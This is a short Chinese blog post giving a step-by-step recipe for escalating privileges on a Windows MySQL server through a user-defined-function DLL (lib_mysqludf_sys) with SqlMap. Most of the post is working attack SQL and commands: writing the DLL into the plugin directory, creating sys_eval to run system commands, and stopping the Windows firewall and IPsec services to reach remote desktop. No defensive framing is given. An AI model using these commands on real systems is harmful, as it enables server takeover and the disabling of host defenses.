SqlMap之mysql udf.dll 提权
浏览数：27 /
时间：2015年06月12日
先上传dll文件到任意目录，如：D:/RECYCLER/lib_mysqludf_sys.dll
导入dll,根据版本导入到windows或mysql 插件目录(一般执行select @@plugin_dir 可看到插件目录具体路径)：
select load_file(‘D:/RECYCLER/lib_mysqludf_sys.dll’) into dumpfile’c:/windows/lib_mysqludf_sys.dll’ (高版本需要导入上面查询到的插件目录)
创建function：
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;
执行命令：
select sys_eval(‘whoami’);
一般情况下不会出现创建不成功哦。
连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
郑重声明：本站内容如果来自互联网及其他传播媒体，其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享，并不代表本站赞同其观点和对其真实性负责，也不构成任何其他建议。
